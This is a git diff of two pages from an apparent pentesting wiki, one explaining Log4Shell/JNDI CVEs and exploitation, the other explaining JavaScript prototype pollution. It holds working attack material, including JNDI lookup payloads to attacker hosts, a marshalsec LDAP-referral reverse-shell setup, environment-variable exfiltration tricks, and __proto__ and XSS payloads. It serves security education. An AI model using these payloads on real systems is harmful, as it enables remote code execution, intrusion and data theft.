### RMI Context
|
||||
|
||||
For RMI (Remote Method Invocation), the situation is somewhat different. As with CORBA, arbitrary class downloading is restricted by default. To exploit RMI, one would typically need to circumvent the Security Manager, a feat also relevant in CORBA.
|
||||
|
||||
### LDAP
|
||||
|
||||
|
@ -112,47 +104,38 @@ It's easier to attack this LDAP using **JavaFactory references**:
|
|||
|
||||
The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.
|
||||
|
||||
In [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) added a `jndi` Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a **":" no prefix will be added**.”
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduced a `jndi` Lookup feature. This feature enables the retrieval of variables through JNDI. Typically, the key is automatically prefixed with `java:comp/env/`. However, if the key itself includes a **":"**, this default prefix is not applied.
|
||||
|
||||
With a **: present** in the key, as in `${jndi:ldap://example.com/a}` there’s **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.
|
||||
|
||||
Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.
|
||||
|
||||
## Log4Shell CVEs
|
||||
## Overview of Log4Shell-Related CVEs
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **[Critical]**
|
||||
This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **[Critical]**
|
||||
Initially rated low but later upgraded to critical, this CVE is a **Denial of Service (DoS)** flaw resulting from an incomplete fix in 2.15.0 for CVE-2021-44228. It affects non-default configurations, allowing attackers to cause DoS attacks through crafted payloads. A [tweet](https://twitter.com/marcioalm/status/1471740771581652995) showcases a bypass method. The issue is resolved in versions 2.16.0 and 2.12.2 by removing message lookup patterns and disabling JNDI by default.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[High]**
|
||||
Affecting **Log4j 1.x versions** in non-default configurations using `JMSAppender`, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to `log4j-core 2.17.0` is recommended.
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[Moderate]**
|
||||
This vulnerability affects the **Logback logging framework**, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue.
|
||||
|
||||
### **CVE-2021-45105** **[High]**
|
||||
Log4j 2.16.0 contains a DoS flaw, prompting the release of `log4j 2.17.0` to fix the CVE. Further details are in BleepingComputer's [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: The original 'Log4Shell' vulnerability is an [untrusted deserialization](https://cwe.mitre.org/data/definitions/502.html) flaw. Rated critical in severity, this one scores a 10 on the [CVSS](https://www.first.org/cvss/) scale and **grants remote code execution (RCE) abilities to unauthenticated attackers**, allowing complete system takeover.\
|
||||
\
|
||||
Reported by Chen Zhaojun of Alibaba Cloud Security Team to Apache on November 24th, CVE-2021-44228 impacts the default configurations of multiple Apache frameworks, including Apache Struts2, Apache Solr, Apache Druid, Apache Flink, and others.\
|
||||
\
|
||||
Being the most dangerous of them all, this vulnerability lurks in the [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core) component, limited to 2.x versions: from 2.0-beta9 up to and including 2.14.1. A fix for Log4Shell was rolled out in version 2.15.0 but deemed incomplete (keep reading).\
|
||||
\
|
||||
Threat intel analyst Florian Roth shared Sigma rules \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] that can be employed as one of the defenses.\\
|
||||
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Critical**, previously Low]: This one is a Denial of Service (DoS) flaw scoring a ~~3.7~~ 9.0. The flaw arose as a result of an **incomplete fix that went into 2.15.0** for CVE-2021-44228. While the fix applied to 2.15.0 did largely resolve the flaw, that wasn't quite the case for certain **non-default configurations**.\
|
||||
\
|
||||
Log4j 2.15.0 makes "a best-effort attempt" to **restrict JNDI LDAP lookups to \_localhost**\_ by default. But, **attackers** who have **control** over the **Thread Context Map (MDC)** input data can craft malicious payloads via the JNDI Lookup patterns to cause DoS attacsk. This applies to non-default configurations in which a non-default Pattern Layout using either a Context Lookup, e.g. \$${ctx:loginId}, or a Thread Context Map pattern (%X, %mdc, or %MDC).\
|
||||
\
|
||||
The **bypass taken from this** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) was:\
|
||||
_Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual._\
|
||||
\_\_\
|
||||
\_\_"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.\\
|
||||
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**: Did we say Log4j 2.x versions were vulnerable? What about **Log4j 1.x**?\
|
||||
\
|
||||
While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, **non-default configuration of Log4j 1.x instances using the \_JMSAppender**\_\*\* class also become susceptible to the untrusted deserialization flaw\*\*.\
|
||||
\
|
||||
Although a less severe variant of CVE-2021-44228, nonetheless, this CVE impacts all versions of the [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) and [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) components for which only 1.x releases exist. Because these are [end-of-life](https://logging.apache.org/log4j/1.2/) versions, **a fix for 1.x branch does not exist anywhere**, and one should upgrade to _log4j-core_ 2.17.0. (Apparently 1.0 isn't vulnerable).\\
|
||||
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]:** This is a vulnerability in the **Logback logging framework**. A successor to the Log4j 1.x library, Logback claims to pick up "where log4j 1.x leaves off."\
|
||||
\
|
||||
Up until last week, Logback also [bragged](https://archive.md/QkzIy) that being "unrelated to log4j 2.x, \[logback] does not share its vulnerabilities."\
|
||||
\
|
||||
That assumption quickly faded when **CVE-2021-4104** was discovered to impact Log4j 1.x as well, and the possibility of potential **impact to Logback** was [assessed](https://jira.qos.ch/browse/LOGBACK-1591). Newer Logback versions, 1.3.0-alpha11 and 1.2.9 addressing this less severe vulnerability have now been [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\\
|
||||
* **CVE-2021-45105** **\[High]**: **Log4j 2.16.0** was found out to be **vulnerable to a DoS** flaw rated 'High' in severity. Apache has since **released a log4j 2.17.0 version** fixing the CVE. More details on this development are provided in BleepingComputer's [latest report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): This new CVE affects the **version 2.17** of log4j. This vulnerability **requires the attacker to control the configuration file of log4j** as it’s possible to indicate a JDNI URL in a configured JDBCAppender. For information about the **vulnerability and exploitation** [**read this info**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
## Log4Shell Exploitation
|
||||
|
||||
### Discovery
|
||||
|
||||
This vulnerability is very easy to discover because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:
|
||||
This vulnerability is very easy to discover if unprotected because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:
|
||||
|
||||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
|
||||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
|
||||
|
@ -241,25 +224,25 @@ Any other env variable name that could store sensitive information
|
|||
### RCE Information
|
||||
|
||||
{% hint style="info" %}
|
||||
Hosts running on **JDKs versions higher than 6u141, 7u131, 8u121 will be protected against the LDAP class loading** vector **BUT NOT the deserialisation vector**. This is because `com.sun.jndi.ldap.object.trustURLCodebase` is disabled by default, hence JNDI cannot load remote codebase using LDAP. But we must stress deserialisation and variable leaks are still possible.\
|
||||
This means that to **exploit the mentioned versions** you will need to **abuse some trusted gadget** that exists on the java application (using ysoserial or JNDIExploit for example). But to exploit lower versions, you can make them load an execute arbitrary classes (which makes the attack easier).
|
||||
Hosts running on JDK versions above 6u141, 7u131, or 8u121 are safeguarded against the LDAP class loading attack vector. This is due to the default deactivation of `com.sun.jndi.ldap.object.trustURLCodebase`, which prevents JNDI from loading a remote codebase via LDAP. However, it's crucial to note that these versions are **not protected against the deserialization attack vector**.
|
||||
|
||||
For attackers aiming to exploit these higher JDK versions, it's necessary to leverage a **trusted gadget** within the Java application. Tools like ysoserial or JNDIExploit are often used for this purpose. On the contrary, exploiting lower JDK versions is relatively easier as these versions can be manipulated to load and execute arbitrary classes.
|
||||
|
||||
For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
{% endhint %}
|
||||
|
||||
### RCE - Marshalsec with custom payload
|
||||
|
||||
_This trick is entirely taken from the **THM box:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_
|
||||
You can test this in the **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
For this exploit the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (download a [**jar version from here**](https://github.com/RandomRobbieBF/marshalsec-jar)) will be used to create a LDAP referral server to direct connections to our secondary HTTP server were the exploit will be served:
|
||||
Use the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (jar version available [**here**](https://github.com/RandomRobbieBF/marshalsec-jar)). This approach establishes a LDAP referral server to redirect connections to a secondary HTTP server where the exploit will be hosted:
|
||||
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
|
||||
We want the victim to load the code that will send us a reverse shell, so you can create a java file called Exploit.java with the following content:
|
||||
To prompt the target to load a reverse shell code, craft a Java file named `Exploit.java` with the content below:
|
||||
|
||||
{% code title="" %}
|
||||
```java
|
||||
public class Exploit {
|
||||
static {
|
||||
|
@ -271,17 +254,17 @@ public class Exploit {
|
|||
}
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Create the **class file** executing: `javac Exploit.java -source 8 -target 8` and then run a **HTTP server** in the same directory the class file was created: `python3 -m http.server`.\
|
||||
The **LDAP server from marshalsec should be pointing this HTTP server**.\
|
||||
Then, you can make the **vulnerable web server execute the exploit class** by sending a payload like:
|
||||
Compile the Java file into a class file using: `javac Exploit.java -source 8 -target 8`. Next, initiate a **HTTP server** in the directory containing the class file with: `python3 -m http.server`. Ensure the **marshalsec LDAP server** references this HTTP server.
|
||||
|
||||
Trigger the execution of the exploit class on the susceptible web server by dispatching a payload resembling:
|
||||
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
|
||||
_Please, note that if Java is not configured to load remote codebase using LDAP, this custom exploit won’t work. In that case, you need to abuse a trusted class to execute arbitrary code._
|
||||
**Note:** This exploit hinges on Java's configuration to permit remote codebase loading via LDAP. If this is not permissible, consider exploiting a trusted class for arbitrary code execution.
|
||||
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
|
@ -419,7 +402,7 @@ For example, in that CTF this was configured in the file log4j2.xml:
|
|||
|
||||
### Env Lookups
|
||||
|
||||
In this CTF the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.\
|
||||
In [this CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.\
|
||||
As seen in this page in [**previous payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) there are different some ways to access env variables, such as: **`${env:FLAG}`**. In this CTF this was useless but it might not be in other real life scenarios.
|
||||
|
||||
### Exfiltration in Exceptions
|
||||
|
@ -443,7 +426,7 @@ However, it's possible to use some **conversion patterns that supports regexes**
|
|||
* **Binary search via exception messages**
|
||||
|
||||
The conversion pattern **`%replace`** can be use to **replace** **content** from a **string** even using **regexes**. It works like this: `replace{pattern}{regex}{substitution}`\
|
||||
\`\`Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this:
|
||||
Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this:
|
||||
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
|
|
|
@ -16,142 +16,124 @@ Other ways to support HackTricks:
|
|||
|
||||
## Objects in JavaScript <a href="#053a" id="053a"></a>
|
||||
|
||||
First of all, we need to understand `Object`in JavaScript. An object is simply a collection of key and value pairs, often called properties of that object. For example:
|
||||
|
||||
![](<../../../.gitbook/assets/image (389) (1).png>)
|
||||
|
||||
In Javascript, `Object`is a basic object, the template for all newly created objects. It is possible to create an empty object by passing `null`to `Object.create`. However, the newly created object will also have a type that corresponds to the passed parameter and inherits all the basic properties.
|
||||
Objects in JavaScript are essentially collections of key-value pairs, known as properties. An object can be created using `Object.create` with `null` as an argument to produce an empty object. This method allows the creation of an object without any inherited properties.
|
||||
|
||||
```javascript
|
||||
console.log(Object.create(null)); // prints an empty object
|
||||
// Run this in the developers tools console
|
||||
console.log(Object.create(null)); // This will output an empty object.
|
||||
```
|
||||
|
||||
![](<../../../.gitbook/assets/image (360).png>)
|
||||
An empty object is akin to an empty dictionary, represented as `{}`.
|
||||
|
||||
Previously we learned that an Object in javascript is collection of keys and values, so it makes sense that a `null` object is just an empty dictionary: `{}`
|
||||
### Functions and Classes in JavaScript
|
||||
|
||||
## Functions / Classes in Javascript <a href="#55dd" id="55dd"></a>
|
||||
|
||||
In Javascript, the concepts of the class and the function are quite interrelated (the function itself acts as the constructor for the class and the actual nature has no concept of “class” in javascript). Let’s see the following example:
|
||||
In JavaScript, classes and functions are closely linked, with functions often serving as constructors for classes. Despite JavaScript's lack of native class support, constructors can emulate class behavior.
|
||||
|
||||
```javascript
|
||||
function person(fullName, age) {
|
||||
this.age = age;
|
||||
this.fullName = fullName;
|
||||
this.details = function() {
|
||||
return this.fullName + " has age: " + this.age;
|
||||
// Run this in the developers tools console
|
||||
|
||||
function Employee(name, position) {
|
||||
this.name = name;
|
||||
this.position = position;
|
||||
this.introduce = function() {
|
||||
return "My name is " + this.name + " and I work as a " + this.position + ".";
|
||||
}
|
||||
}
|
||||
|
||||
Employee.prototype
|
||||
|
||||
var employee1 = new Employee("Generic Employee", "Developer");
|
||||
|
||||
employee1.__proto__
|
||||
```
|
||||
|
||||
![](<../../../.gitbook/assets/image (361).png>)
|
||||
### Prototypes in JavaScript
|
||||
|
||||
```javascript
|
||||
var person1 = new person("Satoshi", 70);
|
||||
```
|
||||
JavaScript allows the modification, addition, or deletion of prototype attributes at runtime. This flexibility enables the dynamic extension of class functionalities.
|
||||
|
||||
![](<../../../.gitbook/assets/image (362).png>)
|
||||
|
||||
## Prototypes in JavaScript <a href="#3843" id="3843"></a>
|
||||
|
||||
One thing to note is that the prototype attribute can be changed/modified/deleted when executing the code. For example functions to the class can be dynamically added:
|
||||
|
||||
![](<../../../.gitbook/assets/image (363).png>)
|
||||
|
||||
Functions of the class can also be modified (like `toString` or `valueOf` the following cases):
|
||||
|
||||
![](<../../../.gitbook/assets/image (364).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (365).png>)
|
||||
Functions like `toString` and `valueOf` can be altered to change their behavior, demonstrating the adaptable nature of JavaScript's prototype system.
|
||||
|
||||
## Inheritance
|
||||
|
||||
In a prototype-based program, objects inherit properties/methods from classes. The classes are derived by adding properties/methods to an instance of another class or by adding them to an empty object.
|
||||
In prototype-based programming, properties/methods are inherited by objects from classes. These classes are created by adding properties/methods either to an instance of another class or to an empty object.
|
||||
|
||||
Note that, if you add a property to an object that is used as the prototype for a set of objects (like the myPersonObj), the objects for which it is the prototype also get the new property, but that property is not printed unless specifically called on.
|
||||
|
||||
![](<../../../.gitbook/assets/image (366).png>)
|
||||
It should be noted that when a property is added to an object serving as the prototype for other objects (such as `myPersonObj`), the inheriting objects gain access to this new property. However, this property is not automatically displayed unless it is explicitly invoked.
|
||||
|
||||
## \_\_proto\_\_ pollution <a href="#0d0a" id="0d0a"></a>
|
||||
|
||||
You should have already learned that **every object in JavaScript is simply a collection of key and value** pairs and that **every object inherits from the Object type in JavaScript**. This means that if you are able to pollute the Object type **each JavaScript object of the environment is going to be polluted!**
|
||||
## Exploring Prototype Pollution in JavaScript
|
||||
|
||||
This is fairly simple, you just need to be able to modify some properties (key-value pairs) from and arbitrary JavaScript object, because as each object inherits from Object, each object can access Object scheme.
|
||||
JavaScript objects are defined by key-value pairs and inherit from the JavaScript Object prototype. This means altering the Object prototype can influence all objects in the environment.
|
||||
|
||||
Let's use a different example to illustrate:
|
||||
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
function Vehicle(model) {
|
||||
this.model = model;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
var car1 = new Vehicle("Tesla Model S");
|
||||
```
|
||||
|
||||
From the previous example it's possible to access the structure of Object using the following ways:
|
||||
Access to the Object prototype is possible through:
|
||||
|
||||
```javascript
|
||||
person1.__proto__.__proto__
|
||||
person.__proto__.__proto__
|
||||
car1.__proto__.__proto__;
|
||||
Vehicle.__proto__.__proto__;
|
||||
```
|
||||
|
||||
So, as it was mentioned before, if now a property is added to the Object scheme, every JavaScript object will have access to the new property:
|
||||
By adding properties to the Object prototype, every JavaScript object will inherit these new properties:
|
||||
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
function Vehicle(model) {
|
||||
this.model = model;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
person1.__proto__.__proto__.printHello = function(){console.log("Hello");}
|
||||
person1.printHello() //This now works and prints hello
|
||||
//Add constant as new property
|
||||
person1.__proto__.__proto__.globalconstant = true
|
||||
person1.globalconstant //This now works and is "true"
|
||||
var car1 = new Vehicle("Tesla Model S");
|
||||
// Adding a method to the Object prototype
|
||||
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
|
||||
car1.announce(); // Outputs "Beep beep!"
|
||||
// Adding a property to the Object prototype
|
||||
car1.__proto__.__proto__.isVehicle = true;
|
||||
console.log(car1.isVehicle); // Outputs true
|
||||
```
|
||||
|
||||
So now each JS object will contain the new properties: the function `printHello` and the new constant `globalconstant`
|
||||
|
||||
## prototype pollution
|
||||
|
||||
This technique isn't as effective as the previous one as you cannot pollute the scheme of JS Object. But in cases where the **keyword `__proto__`is forbidden this technique can be useful**.
|
||||
|
||||
If you are able to modify the properties of a function, you can modify the `prototype` property of the function and **each new property that you adds here will be inherit by each object created from that function:**
|
||||
For a scenario where `__proto__` usage is restricted, modifying a function's prototype is an alternative:
|
||||
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
function Vehicle(model) {
|
||||
this.model = model;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
person.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.sayHello() //This now works and prints hello
|
||||
//Add constant as new property
|
||||
person.prototype.newConstant = true
|
||||
person1.newConstant //This now works and is "true"
|
||||
var car1 = new Vehicle("Tesla Model S");
|
||||
// Adding properties to the Vehicle prototype
|
||||
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
|
||||
car1.beep(); // Now works and outputs "Beep beep!"
|
||||
Vehicle.prototype.hasWheels = true;
|
||||
console.log(car1.hasWheels); // Outputs true
|
||||
|
||||
//The same could be achieved using this other way:
|
||||
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.constructor.prototype.newConstant = true
|
||||
// Alternate method
|
||||
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
|
||||
car1.constructor.prototype.isElectric = true;
|
||||
```
|
||||
|
||||
In this case only the **objects created from the `person`** class will be affected, but each of them will now i**nherit the properties `sayHello` and `newConstant`**.
|
||||
This affects only objects created from the `Vehicle` constructor, giving them the `beep`, `hasWheels`, `honk`, and `isElectric` properties.
|
||||
|
||||
**There are 2 ways to abuse prototype pollution to poison EVERY JS object.**
|
||||
Two methods to globally affect JavaScript objects through prototype pollution include:
|
||||
|
||||
The first one would be to pollute the property prototype of **Object** (as it was mentioned before every JS object inherits from this one):
|
||||
1. Polluting the `Object.prototype` directly:
|
||||
|
||||
```javascript
|
||||
Object.prototype.sayBye = function(){console.log("bye!")}
|
||||
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
|
||||
```
|
||||
|
||||
If you manage to do that, each JS object will be able to execute the function `sayBye`.
|
||||
|
||||
The other way is to poison the prototype of a constructor of a dictionary variable like in the following example:
|
||||
2. Polluting the prototype of a constructor for a commonly used structure:
|
||||
|
||||
```javascript
|
||||
something = {"a": "b"}
|
||||
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
|
||||
var example = {"key": "value"};
|
||||
example.constructor.prototype.greet = function() { console.log("Hello!"); };
|
||||
```
|
||||
|
||||
After executing that code, **each JS object will be able to execute the function `sayHey`**.
|
||||
After these operations, every JavaScript object can execute `goodbye` and `greet` methods.
|
||||
|
||||
## Polluting other objects
|
||||
|
||||
|
@ -215,23 +197,30 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
|||
|
||||
### Basic Example
|
||||
|
||||
So where’s the prototype pollution? It happens when there’s a bug in the application that makes it possible to overwrite properties of `Object.prototype`. Since every typical object inherits its properties from `Object.prototype`, we can change application behaviour. The most commonly shown example is the following:
|
||||
A prototype pollution occurs due to a flaw in the application that allows overwriting properties on `Object.prototype`. This means that since most objects derive their properties from `Object.prototype`
|
||||
|
||||
The easies example is to add a value to an **undefiner attribute of an object** that is going to be checked, like:
|
||||
|
||||
```javascript
|
||||
if (user.isAdmin) { // do something important!}
|
||||
if (user.admin) {
|
||||
```
|
||||
|
||||
Imagine that we have a prototype pollution that makes it possible to set `Object.prototype.isAdmin = true`. Then, unless the application explicitly assigned any value, `user.isAdmin` is always true!
|
||||
If the attribute **`admin` is undefined** it's possible to abuse a PP and set it to True with something like:
|
||||
|
||||
![](https://research.securitum.com/wp-content/uploads/sites/2/2019/10/image-1.png)
|
||||
```javascript
|
||||
Object.prototype.isAdmin = true
|
||||
let user = {}
|
||||
user.isAdmin // true
|
||||
```
|
||||
|
||||
For example, `obj[a][b] = value`. If the attacker can control the value of `a` and `value`, then he only needs to adjust the value of `a`to `__proto__`(in javascript, `obj["__proto__"]` and `obj.__proto__`are completely equivalent) then property `b` of all existing objects in the application will be assigned to `value`.
|
||||
The mechanism behind this involves manipulating properties such that if an attacker has control over certain inputs, they can modify the prototype of all objects in the application. This manipulation typically involves setting the `__proto__` property, which, in JavaScript, is synonymous with directly modifying an object's prototype.
|
||||
|
||||
However, the attack is not as simple as the one above, according to [paper](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), we can only attack when one of the following three conditions is met:
|
||||
The conditions under which this attack can be successfully executed, as outlined in a specific [study](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), include:
|
||||
|
||||
- Performing a recursive merge.
|
||||
- Defining properties based on a path.
|
||||
- Cloning objects.
|
||||
|
||||
* Perform recursive merge
|
||||
* Property definition by path
|
||||
* Clone object
|
||||
|
||||
### Override function
|
||||
|
||||
|
@ -253,40 +242,22 @@ customer.__proto__.toString = ()=>{alert("polluted")}
|
|||
|
||||
### CVE-2019–11358: Prototype pollution attack through jQuery $ .extend
|
||||
|
||||
$ .extend, if handled incorrectly, can change the properties of the object `prototype`(the template of the objects in the app). This attribute will then appear on all objects. Note that only the “deep” version (ie g) of $ .extened is affected.
|
||||
|
||||
Programmers often use this function to duplicate an object or fill in new properties from a default object. For example:
|
||||
|
||||
We can imagine `myObject`is an input field from the user and is serialized into the DB)
|
||||
|
||||
In this code, we often think, when running will assign the attribute `isAdmin`into the newly created object. But essentially, it is assigned directly to `{}` and then `{}.isAdmin` will be `true`. If after this code, we perform the following check:
|
||||
[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
In jQuery, the `$ .extend` function can lead to prototype pollution if the deep copy feature is utilized improperly. This function is commonly used for cloning objects or merging properties from a default object. However, when misconfigured, properties intended for a new object can be assigned to the prototype instead. For instance:
|
||||
|
||||
```javascript
|
||||
If (user.isAdmin === true) {
|
||||
// do something for admin
|
||||
}
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
||||
console.log({}.devMode); // Outputs: true
|
||||
```
|
||||
|
||||
If the user has not yet existed ( `undefined`), the property`isAdmin`will be searched in its parent object, which is the Object added `isAdmin` with the value `true` above.
|
||||
This vulnerability, identified as CVE-2019–11358, illustrates how a deep copy can inadvertently modify the prototype, leading to potential security risks, such as unauthorized admin access if properties like `isAdmin` are checked without proper existence verification.
|
||||
|
||||
Another example when executed on JQuery 3.3.1:
|
||||
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode); // true
|
||||
```
|
||||
|
||||
These errors can affect a lot of Javascript projects, especially NodeJS projects, the most practical example is the error in Mongoose, the JS library that helps manipulate MongoDB, in December 2018.
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: Prototype pollution attack through lodash
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) is also a well-known library that provides a lot of different functions, helping us to write code more conveniently and more neatly with over 19 million weekly downloads. And It got the same problem as JQuery.
|
||||
[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
|
||||
**CVE-2018–3721**
|
||||
|
||||
**CVE-2019–10744**
|
||||
|
||||
This bug affects all versions of Lodash, already fixed in version 4.17.11.
|
||||
[Lodash](https://www.npmjs.com/package/lodash) encountered similar prototype pollution vulnerabilities (CVE-2018–3721, CVE-2019–10744). These issues were addressed in version 4.17.11.
|
||||
|
||||
### Another tutorial with CVEs
|
||||
|
||||
|
@ -298,17 +269,17 @@ NodeJS extensively utilizes Abstract Syntax Trees (AST) in JavaScript for functi
|
|||
|
||||
#### Handlebars Vulnerability Analysis
|
||||
|
||||
Handlebars template engine can be exploited for prototype pollution. The vulnerability is primarily within the `appendContent` and `pushSource` functions in the `javascript-compiler.js` file, where `appendContent` concatenates `pendingContent` if it exists, and `pushSource` sets `pendingContent` to `undefined` after pushing the source.
|
||||
The Handlebars template engine is susceptible to a prototype pollution attack. This vulnerability arises from specific functions within the `javascript-compiler.js` file. The `appendContent` function, for instance, concatenates `pendingContent` if it's present, while the `pushSource` function resets `pendingContent` to `undefined` after adding the source.
|
||||
|
||||
##### Exploitation Process
|
||||
|
||||
The exploitation involves manipulating the AST generated by Handlebars. The process is as follows:
|
||||
The exploitation leverages the AST (Abstract Syntax Tree) produced by Handlebars, following these steps:
|
||||
|
||||
